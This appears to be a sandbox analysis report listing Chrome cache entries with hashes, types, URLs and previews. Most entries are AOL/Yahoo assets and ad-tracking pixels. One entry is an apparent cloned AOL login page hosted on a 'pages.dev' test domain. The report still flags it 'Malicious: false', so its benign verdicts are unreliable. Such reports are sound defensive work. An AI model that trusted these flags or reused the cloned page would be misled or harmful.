SHA1:	D1DEF776EA8DA227D261F0F1FBED93B164FD360F
SHA-256:	CE916EDD25F91A6D7B5D94FD1400095E2466953EE959A2BEDA613F8D814BA3D5
SHA-512:	2F6A2D3E247AC9B2621AF728C68457CA18CB8DC8649C5949A9A1F3FFF26A1140BCD37C9B2A352394861ADAEF1B3C121DB8B98271AC5AD4213C3148FAB8B7033D
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLaVK5.znBhNMAKDUJz1a2g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181030%2F500x500%2Fceltics_wbg.png&client=76f99bdb8f78cd44cc0b&signature=9ca02475456bf5ddb0d57685bd4170c582005b73
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...............................................................................................................................................H..!..!.72..........G.......i?..........{E.rB.......L6#OF....Y9......g.......vC.d=3YRv.-.......Z...62..W.51.41...H.Mfux.nE^.P.J:'.KG.zGU[..N..."01..S...1.k@B4.n....t.....I..$....uL....K?.ti...$.sC_]_,+.kU..Ic...1.x..h,,2r\.......Q.....6.L1>D...5;1.........c.........r...R7KI:m.Or}......w..]..j.w.L>\|....)8@.\|K...k.M.y]...XomN[a.40.~JyzIY,,.}..R.p...WQ:...@{f.........'pU..k..(.d{.P-zGs....P.rFh{U%.Z<JQT.v^in";:.%&.`<.2/..Yej.=;o-,3Y:.0.jK.D1xoo.....J.^<..n..SO.rC.my.P9.q4HIlSU.20.nnP.q.PP.aa.z^....z\.]^l82t.......e....q`..g........OO?2eZ=3.h...W.\|........[cqO..{.61.x..TVT..._bEc.q...v...../tRNS....M.)...3]..G..k.>...e...Sqm.....x......o.pR.p.....IDAT..}.u@.w.........v.v........ Ipw.....Z..].{....].n...E...=.yj.\.W.ohJ....-._gl..{.\|...!..Z....Vf........S...,{...7..e.....2u.kf..

Chrome Cache Entry: 750

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	358
Entropy (8bit):	6.607982780879958
Encrypted:	false
SSDEEP:	6:6v/lhPf12p7/aLuFsOTXYwzi7ib9dhTpXvXH3tPpPjiBwahFb7UzkBffFu+8UKup:6v/7EzuglFzMYX/BpLGb7xtFr8UKc
MD5:	71B1B04E436C24693E6FF49BC0F9043B
SHA1:	513B9CFEF225BF85A4DD5EC096448B70479B60A7
SHA-256:	82AC622598C2CE893FEA4484DFB65748FC1EBE2A45EA3D4A7E9F6B73F1855444
SHA-512:	493E7A27FF701E6FFC5979EDB67F2FB8519A0432F7B47BC6B3C1EDFAED60B74AEDC613AB51B0BA64285556B7FE21A77A222823734754446EE7BCF726A12F6D19
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F515ef980-3432-11eb-b5ef-2a7f8e085664&client=76f99bdb8f78cd44cc0b&signature=d35cb23bd2a7d15db2b9b7fbe5c674ff1e2112a3
Preview:	.PNG........IHDR.............(-.S...oPLTEGpL................................................rrrggg~~~....)))???...............YYYIII............000www........tRNS.........1.....y....IDAT..-..B.!.E...6..a.l6....b......eu..gQM<0\..<.H2&....\|\...6...+../YF3..N.~.h...W. ).{);K.....^..H.....x..d...x...a.y..dT.7:.._..Mw.j..V:....e5...._........IEND.B`.

Chrome Cache Entry: 751

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (594)
Category:	downloaded
Size (bytes):	5311
Entropy (8bit):	5.046822701969818
Encrypted:	false
SSDEEP:	96:duegRhCpwcn4QfbE/XOZjt/r6tCrY6saTGTbAaNkYaySgoaauIfQYCSG8IrW:OhCpwcn4QfbSOttT6MU6saTGTkYaySgq
MD5:	BA0777792CE6C88CB6AC61D50F5ED420
SHA1:	096E3337C3EB08177FC61F058A0A43FE7CC486EC
SHA-256:	2CFC3D9F68235DCA692E8B8D70E2DE1F872D321133005C628D1306AC0D72F225
SHA-512:	C8D17040A8966648EE790EB91235553096BCE4050814696A6F741A8E1C7EA9233EC2CC4005C3918B507B939D3E26A812212A40B87C6CD7CB7E414A627B52D066
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<!doctype html>.<html lang="en">.<head>. <meta charset="UTF-8">. <meta name="viewport". content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">. <meta http-equiv="X-UA-Compatible" content="ie=edge">. <title>Document</title>. <script type="text/javascript">."use strict";..function _slicedToArray(arr, i) { return _arrayWithHoles(arr) \|\| _iterableToArrayLimit(arr, i) \|\| _unsupportedIterableToArray(arr, i) \|\| _nonIterableRest(); }.function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }.function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" \|\| n === "Set") return Array.from(o); i

Chrome Cache Entry: 752

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2057
Entropy (8bit):	7.183979430155436
Encrypted:	false
SSDEEP:	48:dXHJnr9gpKNt/vLkxhLYanXrYj8kJ4l5LYQls6Qwz:d3JBmKTYWanXUTJMc04S
MD5:	08AAAE7F58D3700D437C7968ADA1BC41
SHA1:	D1926B9333768ECAB4993089AE709C8B69E0CEEA
SHA-256:	29C076F7EF557FE8CDC46A64EACEF5D0DA64024578A6BDDEFECC541B68073ADD
SHA-512:	DA5219661B68620D7119043C8CD07972BF4B3E52581CF8C75403FDAC3CA6D8551085159717FB0729B9E9D43D7195D902268F897130E56AE9A07F09862E77FD38
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL.....................w.5.p........................................................................eL..................0.m................................................2.n.................................N+.........8.r......?.w...................................]?.........uc....9.sQ1..........................=.v.........E.{......1.mA.x....................O-......C.z......L).bH.........jR.7.r.............................................bH..................X9.4.o...Y:..}.]A.M)....iQ..............._B......U4....;.t...q.7.q..................wf....W8.......~o..{............z....G"}...................r^....G!}4.p............`D.T3....w.bJ.<.u......cI..s....G$}.....?.w9.s......mX...........4.o...w..........2.n1.m...0.m.........1.nX.......tRNS.....u................'......w.......L..P..,...... .....X..Gj....R...).....K...Y.U.....^....z..@...<..........................[...On...FA..q.....}..eI....`#.....x......9/*......

Chrome Cache Entry: 753

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	12308
Entropy (8bit):	7.9422457632528785
Encrypted:	false
SSDEEP:	192:OLMlh3Beh8MolGOYKinjtoEP06uGupOpAlZ9hnCeo3iKJka2g5h0Eims7RkyQPpN:OI3ch8MotOjyz6FClZmz3iaJjtimgkNN
MD5:	88C5A0F7E18F56FFC456A78921678FB8
SHA1:	6EB089AAFD0813E7005C5E64E3058EAFC2871581
SHA-256:	C0F5A1FFE8535A3E007509B173B1E098A3A6A889935CD39C597FE8E76662C3BB
SHA-512:	6988750C708CBA60600C60FD03869EC2015A6C1083CB7BBF55D4EAF667EFE7D9CCDB40B5307F53499A694397800418A74CE21A0457A4952FE4D78852728F196B
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/45s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/45s/match/image.jpeg*~hmac=0cee065b9ffa1405cf9ad5041310cea56b01540765d7c751bd485bb5771548d0
Preview:	......JFIF..............Lavc60.3.100...C..............................................%.. !###..&)&")."#"...C..........."...""""""""""""""""""""""""""""""""""""""""""""""""""..........."........................................B........................!1...A."Qa....2Tq...#BRS..3CD.b...r.$4s...............................&.........................!1.AQ"a#2Bq............?....B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B... ..B....z..O..oH..ko.I....M.}#.g.3.q..fo[=.. .....b...C.s.-.c...4.."..:.....7Hk,.y..@..-c]Hfy......7.A....^..aT...'J..X...c..:.....W..)...{..i .z..n..u.\|.....-..h..... ..\|..J..@. s.../..2....,c....Oc.@=Kdm.Y....B...!..B...!..B...!..B...!..B...!..B...!..B...!..B...!..B...!..B...!..B...!..a.p..F...?...m.C..=.5......5..-4.Y..W...6*.-4T.z.......Z...D@.....n.ju..E!.....z)c..R.m.4S....'k..cM.SJz..e.#...p.\..SK....d.=....).=^A.X...d...QT...+!R.M..w........m..G..4....../...S..9...d.....D^W

Chrome Cache Entry: 754

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=13&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503725212&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=11&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=6&ns_st_asq=6&ns_st_sq=6&ns_st_po=1880&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=8120&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1880&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=3&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=1880&ns_st_dap=0&ns_st_et=8078&ns_st_det=3&ns_st_upc=1880&ns_st_dupc=0&ns_st_upa=1880&ns_st_dupa=0&ns_st_lpc=1880&ns_st_dlpc=0&ns_st_lpa=1880&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=5&ns_st_pp=5&ns_st_pa=1880&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 755

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1955&partner_device_id=293039b6-fcc8-43c6-abcf-3f7949ed965a
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 756

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1697
Entropy (8bit):	6.427329306176198
Encrypted:	false
SSDEEP:	24:ppBp21wcxCHiu5Y2sn3NWUG9chF/T547ldkcO8TuP9:ppBIvCHk2s3IUG9cb/T5IacOEu
MD5:	0456BBA74094B70993B79C05054F0E8E
SHA1:	9C5D715AFA8BC68A65B7B745A581DA49FCF2B866
SHA-256:	3342D4C505BF65528025D5B895B3AF8FE5A005D92094F5EAA40D8290B7F8777F
SHA-512:	DBC0265F0916ABB451B1496366FBD8E0BC7BBCE0D2E6FF0399F39904BE14AF6577E77517D8E6B30BFD1FFB8633A8847EAFEA4F00606198A8DC7A4EEF148E4F1B
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FuEwpYfoMP9FJDfHYpyaFNA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190402%2F500x500%2Fnationals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=bda6a08982f2e713e93fe0f7e8ba10d39c3c7dc6
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Di.Ei.Ei.Ei.Ei.......Ei.Ei.Ei..........................................1.......tRNS...qb71..............K....y..,k...u....D....;.+....\|..)..p..[`.....Pd..{...2<..I...^9]..F.M.8..-l....C.g......r...6..@.&J..T5.Y? h.....4w.H...3v...\=.a..LV...'j....x....:..E........e...a#...@.In..$"...>../f..K8....IDAT....c..g...s.=.m.m.6k.f.&.m.....~.A.$=.....QU[._n..49D..?$...X.b......

Chrome Cache Entry: 757

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (46303), with CRLF line terminators
Category:	downloaded
Size (bytes):	867216
Entropy (8bit):	6.022426728730356
Encrypted:	false
SSDEEP:	12288:Frmuf73vtAo/HkV36umj4cCa391azX4lWNbo:D73vCgkV1mj4cCa3YX4ll
MD5:	2A2E6B61B39E791E1A335378DFF3D440
SHA1:	7F4B9A05648CD11D20328BF3F5C3EA831E4FEE3A
SHA-256:	1CE09C2CD8C4B9ECDC0DAE24C800C16C7C04DE4E8394F1379E59A6CA4303A94D
SHA-512:	556E791B61FE2E02BBFA1FCD08E81B40B25287FEE672736704AC3544E15A3978F21514CCC7ABB3D06FB12EA302ED1EC95AE33072530878FB0D0948842F3772BC
Malicious:	false
Reputation:	low
URL:	https://testing-1g0.pages.dev/
Preview:	<html id="Stencil" class="js grid light-theme "><head>.. <meta charset="utf-8">.. <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">.. <title>AOL</title>.. <meta name="description" content="AOL">.. <link rel="icon" type="image/png" href="https://s.yimg.com/wm/login/aol-favicon.png">.. <link rel="shortcut icon" type="image/png" href="https://s.yimg.com/wm/login/aol-favicon.png">.. <link rel="apple-touch-icon" href="https://s.yimg.com/wm/login/aol-apple-touch-icon.png">.. <link rel="apple-touch-icon-precomposed" href="https://s.yimg.com/wm/login/aol-apple-touch-icon.png">.. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>.. .. <style>../! Pure v0.5.0 Copyright 2014 Yahoo! Inc. All rights reserved. Licensed under the BSD License. https://github.com/yui/pure/blob/master/LICENSE.md /../*! normalize.css v1.1.3 \| MIT License \| git.io/normalize Copyright (c) Nicolas Galla

Chrome Cache Entry: 758

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12937), with no line terminators
Category:	downloaded
Size (bytes):	12937
Entropy (8bit):	5.190385870596199
Encrypted:	false
SSDEEP:	384:3rmQTWB8PSpJH4+Q0NpsvNY0Fv/qzHMADsocwU:7n70H4KpsvNY09ywovU
MD5:	277E3D31BF9AC6A0B7087285CBE8B7E1
SHA1:	B15CB1272B0429A2CA31DF5116F7D52988D4F7DC
SHA-256:	18C32790C19D6483D673C06A3D9CF7F6D717FB88BF3698AFBAE2B04B033ED537
SHA-512:	E652364616021D53E992297B8CAC3DB4D6D4004D941E76B20B7C2154093382595BF3BB495CE5407A3B69262D578632CE7E915E4841EA242E69914EF566AFE1D9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-toggle-1.15.4.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-toggle",[],t):"object"==typeof exports?exports["wafer-toggle"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-toggle"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}funct

Chrome Cache Entry: 759

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=yieldmo_dbm&google_hm=VkkzTTNZWUtLb1lTaEZqaThQOEM=
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 760

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2464
Entropy (8bit):	7.772251083822923
Encrypted:	false
SSDEEP:	48:RZ0FTn2Q0rcG/VRTvcLJBGLvFq7IjXW9HIERaKqFya5F:v0p2Q0rcGzTvcK4n83y2
MD5:	03919E0797FC14EA543571A9CEB04838
SHA1:	1972B9B7025D1399CD4CB1AB2029AD1607F70D29
SHA-256:	7BFE9CB68015148061E0062F9917FC5C3353EFDC22CDFAD765B2D7B89B5451F3
SHA-512:	1CFAF42EC144405CFC867B3BA8FF1464E5EC8D449E961CD22065E7AAB9DBB276C516C170BD0FB4982CA61D011417E2EAF2E65EE832C09D19171F989E59BCA48D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL../../../...../../../../../../...../../../...../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.(K.5..(L.5~.5}.+X../AGE.4z.Q.)O.3.2s./Q.+M.2.,Z..c.Kqg@.6.3SSC%4I.5,@_&:ZMOD.,J.7..3u+9H.0i\YB.2r.-_.3w.1n..7.)L3>G./g..;<DF.3..8XVCL]w..7.......-N 1I....4y...\|<3Fd.1.2>EF.S.q>ne@~o>.6..0l.-JRb\|...<Nk$8Y......CUq.0"2I.2...{n?9BF.5n{.Vf...0.v=GKE..0^ZB`\BFWs.2ibA5HfDIE...'6H...[j.=Ol......=].6)7H.1Rgu...<@Rncr......axl?..7.t=c^A.4./K.w=.,\..9.3.}<...1.6 5V.;GP`z......:...IZu......9Li......_n.VTC0Cb.6.z<../..;..87AG..;KND..:.1..T.....i.......]l......0QRD..........7_n.a\B....4{......O.2T....1....T..;.y=ui?.8..?..s..z......6@G..9jc@......s..b]B.......^...........k.Q...6tRNS.}..............bJ..Pp.....mi.X.<]x.&..6..3..,.....l.......IDATH..wX..../PdY....,.. .#.dC!...*3...P....A.[.{V.-.vj...o.........~..<.=..{..b...6.......^.=m..K{`...v.+.y...

Chrome Cache Entry: 761

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	339
Entropy (8bit):	6.6338028481278375
Encrypted:	false
SSDEEP:	6:6v/lhPf+nDL1u9Qnvrkq+Wk7aZf8FLIE/r34hVwoTu/NM9JoT2XjxjEdp:6v/7WL1rwLHK0LpbsxTu/2D8GxjEz
MD5:	5350207F56E7CDAFEBB681074189CC85
SHA1:	E24C5F747ECEE00C99EC65DC3358A3F52EF9B8DC
SHA-256:	03C8D81F4EE04F607AB676DB545E61A91208DD74D21706E48A84CC34F28C4748
SHA-512:	54FC06805B606DFA1B77521D1E71832884B6D2045F790F7223E4EA0D21E108796C7F5D2487A1A49CF1BF99DA05A65BF40AD70B46454FAAB07F5F2508F6E5718B
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2F24ea2060-2fbd-11eb-b6fd-a6e16217c6e6&client=76f99bdb8f78cd44cc0b&signature=1419feb050e694c7a2754e158012c82126a1c217
Preview:	.PNG........IHDR.............(-.S...]PLTEGpL.................................................................................Q......tRNS.........1...T....IDAT..mOI.. .#.....I..?3v..S.4.,.,..)..QN<....w.q.#s......{(.c..sf.....`..T*a..16..4B.#g\aa.......o.#...{.(..-......N..~N......p...).W..?...........6.N.....IEND.B`.

Chrome Cache Entry: 762

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2346
Entropy (8bit):	4.03268128956525
Encrypted:	false
SSDEEP:	48:/3Ruld0ijBKHrTqCyOb7EbCO+Tp7pfaKDFP4ToOE/4:5XEgTHyO/EWph9D94kA
MD5:	93FE207C1B9A8C0B94BD6672C011A260
SHA1:	ECA9FC588B9A32F8A965EBA84C956FF36DAB9FD5
SHA-256:	CD34431EB9DFC5CA38EDE89350BE366B641310FC6929CDDEDE93442EDB93C74A
SHA-512:	EDB068CA4F04078FDFD10D4C77DF21B1B1B773533BA72E4C972EA2FAAB708AFF8634A3878C4ACCD5B5A3AF17F222B0204D7EB9A8A9ACAD0DC531E2B6822A0B99
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/images/icons/elections-2024.svg
Preview:	<svg width="33" height="11" viewBox="0 0 33 11" fill="none" xmlns="http://www.w3.org/2000/svg">. <path d="M0.462 8.302C1.36733 7.59267 2.10933 6.98133 2.688 6.468C3.26667 5.95467 3.752 5.42733 4.144 4.886C4.536 4.33533 4.732 3.81267 4.732 3.318C4.732 3.01933 4.662 2.786 4.522 2.618C4.39133 2.45 4.19533 2.366 3.934 2.366C3.66333 2.366 3.45333 2.48267 3.304 2.716C3.15467 2.94 3.08467 3.27133 3.094 3.71H0.434C0.462 2.87933 0.644 2.19333 0.98 1.652C1.316 1.10133 1.75467 0.699999 2.296 0.447999C2.83733 0.186666 3.43933 0.0559993 4.102 0.0559993C5.25 0.0559993 6.104 0.340666 6.664 0.909999C7.224 1.47933 7.504 2.21667 7.504 3.122C7.504 4.09267 7.17733 5.00267 6.524 5.852C5.88 6.70133 5.07267 7.462 4.102 8.134H7.602V10.36H0.462V8.302ZM7.8167 5.236C7.8167 3.63067 8.14337 2.366 8.7967 1.442C9.45004 0.517999 10.4767 0.0559993 11.8767 0.0559993C13.2767 0.0559993 14.3034 0.517999 14.9567 1.442C15.6194 2.366 15.9507 3.63067 15.9507 5.236C15.9507 6.86 15.624 8.134 14.9707 9.058C14.3174 9.982 13.286

Chrome Cache Entry: 763

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2082), with no line terminators
Category:	downloaded
Size (bytes):	2082
Entropy (8bit):	5.084190566964617
Encrypted:	false
SSDEEP:	48:aQRpwwRO/sVb2UW2z5VqnVZKWPF9PkAPk5/fiO1Lz6ss6Z:hRpJROC2v2z5VqneW7JyiOlzP3Z
MD5:	5FCDEBCA3050AF7F93CC00736FBBEDFE
SHA1:	D59188D09803435960C127FDBDE7EF2CAF2D3751
SHA-256:	0EAD90B6B02CD7BC6056BE3E947E9BE42464F8E13A39BDA0BC9AE96754A4FA54
SHA-512:	59F4559A557297546576AB006ACAA41D236C7FB5B8E8153AD8011E95C22B0FBC741F5B34534BA071E1E83B07410C91210455754016A470B6E63B39BD71B865F2
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/td-app-aol-production/assets/v1/css/custom.5fcdebca.css
Preview:	#uh-search input[type=text]::-ms-clear{display:none}.desktop body{overflow-y:scroll}.smartphone.min-height-enabled body{min-height:5000px}.multi-col{display:flex;width:100%;flex-wrap:wrap}.multi-col>{width:100%}.stream-half{display:inline-block;vertical-align:top;width:100%}.stream-half{display:inline-block;vertical-align:top;width:100%}@media screen and (min-width:1100px){.multi-col>,.stream-half{width:50%;padding:0 10px}.multi-col>:nth-child(odd),.stream-half:nth-of-type(even){padding-left:0}.multi-col>:nth-child(even),.stream-half:nth-of-type(odd){padding-right:0}}#YDC-Stream>ul>li>div{padding:14px 0}#YDC-Stream>ul>li>div#item-0{padding-top:0}#YDC-Stream>ul>li>div .maas-item>:first-child{margin:0}@media screen and (max-width:480px){#Col1-0-ContentCanvas{padding:0!important}}.smartphone .YDC-Hero .m-ad{margin-bottom:-4px;margin-top:7px}.dl-mobile,.m-video{margin-left:-10px;margin-right:-10px}#aol-wafer-dl:not(.wmainwelcomescreenaolcom).dl.wafer-dl.dl-mobile{margin-bottom:10px;overf

Chrome Cache Entry: 764

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5776
Entropy (8bit):	4.902021871713348
Encrypted:	false
SSDEEP:	96:1dJLftQ8QftTnbTmftnTYkftKIRftNyMYfttxfttgZKftt2m2ftFikBj7jftWe8p:Z+FYl8uH4VkKydFxj4kHwHdHJ
MD5:	67AD6006452BABBE6885B17BBCB72042
